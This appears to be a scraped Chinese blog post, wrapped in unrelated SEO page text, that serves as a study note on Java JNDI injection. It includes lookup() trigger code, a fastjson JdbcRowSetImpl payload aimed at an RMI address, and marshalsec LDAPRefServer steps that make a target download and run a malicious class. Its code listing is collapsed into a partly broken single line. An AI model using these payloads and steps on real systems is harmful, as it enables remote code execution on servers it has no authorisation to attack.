当前位置: 首页 > news >正文

网站开发雷小天建设网站的目标

网站开发雷小天,建设网站的目标,网站建设招聘内容,dedecms网站后台模板JNDI 简介 (Java Naming and DirectoryInterface)他是 java 命名个目录的接口,设计的本意是为了让开发者访问各种资源 , 他支持的网络协议 :DNS.RMI,LDAP 但是后来 这些 协议被恶意的加载 一下RCE代码的java类文件&…

JNDI 简介

Java Naming and DirectoryInterface)他是 java 命名个目录的接口,设计的本意是为了让开发者访问各种资源  , 他支持的网络协议 :DNS.RMI,LDAP

但是后来 这些 协议被恶意的加载 一下RCE代码的java类文件,导致了 JNDI注入问题

上一节学到的 rmi 注入引发点:

InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());               

这个就是Jndi注入最经典的代码 

恶意构造一下

但是当我们运行的时候 命令执行失败 原因可能是 Jdk版本的问题

不同JDK版本 使用的注入协议是不同的 

查看版本 发现是  201 但是图中是没有直接写  8u201的所在 这个就涉及到高版本的绕过(我们选择使用版本jdk的进行测试)

JNDI 注入出现的方式

代码审计时,识别是JNDI注入

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.sound.midi.Soundbank;
import java.lang.reflect.Method;public class JndiDemo {public static void main(String[] args) throws NamingException, ClassNotFoundException, NoSuchMethodException {//本身源码中的jndi注入触发代码//安全角度:审计 一眼就知道可以利用jndi注入// 1\直接型InitialContext var1 = new InitialContext();var1.lookup("rmi://127.0.0.1:7778/RCE");//2\ 来源于JDK或依赖jar包里面的jndi触发代码   这个需要解析环境就是 fastjson// 这个的实质就是反序列化链的利用        
//如fastjson反序列化链:com.sun.rowset.JdbcRowSetImpl.connect dataSourceName
//        String payload = "{" +
//                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
//                "\"dataSourceName\":\"rmi://192.168.1.2:1099/qdw686\", " +
//                "\"autoCommit\":true" +
//                "}";//安全角度:审计 看这个// 3\反射类调用的逻辑Class<?> aClass = Class.forName("com.sun.rowset.JdbcRowSetImpl");for (Method declaredMethod : aClass.getDeclaredMethods()) {System.out.println(declaredMethod.getName());}Method setDataSourceName = aClass.getDeclaredMethod("setDataSourceName", String.class);System.out.println(setDataSourceName);}
}

JNDI的利用方式 :

1、使用全自动化生成工具进行操作 :

然后根据对方的jdk版本去找合适的利用协议和payload,查看日志 利用成功

DNS协议  :

2、中专类型

这个就需要我们理解一下 JNDI 注入的原理 :(恶意的java类包的访问执行)我们调用 lookup() 读取相关的链接的时候,如果这个链接指向的java包是恶意的RCE就会造成 RCE 问题

使用中专工具的好处 就是 对方执行的RCE命令是我们自控的

工具 :

https :// github . com / mbechler / marshalsec

这边写一个  类文件

把类文件进行编译 

如果不编译就无法进行执行

在这个目录下执行

python -m http.server 8090

然后我们访问一下这个web是否启动起来

然后把这个端口 发到工具 让工具生成一个专门的协议链接

工具执行

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 
http://127.0.0.1:8090/#ConCon   //编译好的类包
http://0.0.0.0:8090  类包所在的服务器端口
LDAPRefServer  :服务输出:
Listening on 0.0.0.0:1389

那我们就使用 ldap 进行访问

执行结果

JDK高版本限制问题 

JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加RMI ClassLoader安全性。JDK 6u141、7u131、8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。JDK 6u211、7u201、8u191之后:
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

这个就是上面的那个图

http://www.yayakq.cn/news/18658/

相关文章:

  • 免手机微网站成都高端模板建站
  • 京东商城网站wordpress模板php网站301重定向
  • 北京市中海建设有限公司网站网站跳出率如何计算
  • 自建网站平台的页面功能毕业设计选择做网站的意义
  • 电子商务网站建设投资预算wordpress安卓app
  • 万网 网站网站开发过程 知乎
  • 网站推广软文几个绝招太原建站一条龙
  • 福建工程建设管理中心网站wordpress虚拟机修改密码
  • 网站建设朋友圈素材培训网络工程师机构
  • python 做网站相关的库石家庄外贸网站制作
  • 互联网开网站怎么做网站建设 教学设计
  • 网站建设维护资质上饶做网站的公司
  • 网站建设是什么费用自己怎么建设一个网站
  • 网站建设行业地位网络整合营销案例
  • 互联网c2c交易类网站详细策划书网站300m是什么意思
  • 网站建设与管理试题一wordpress上百度吗
  • 免费的百度网站怎么做wordpress文章行距
  • 怎样提高网站转化率微网站建设费用预算
  • 国外公司查询网站做广告联盟怎么做网站
  • 模板建站总公司百度总部投诉电话
  • 网站留言功能宝安网站(建设深圳信科)
  • 挂机宝做网站可以吗汕头专业建站
  • 企业网站优化平台数码电子产品网站建设策划书
  • 廊坊 网站网站如何在google提交收录
  • 网站开发与设计英文文献网站建设技术合同
  • 怎么做 社区网站首页存储网站建设
  • 体贴的聊城网站建设网站备案做网站要转移吗
  • 苏州住房和城乡建设局网站网签青岛做网站排名
  • 网站地图怎么添加网站开发实训要求
  • 杭州网站建设 博客哪里有网页设计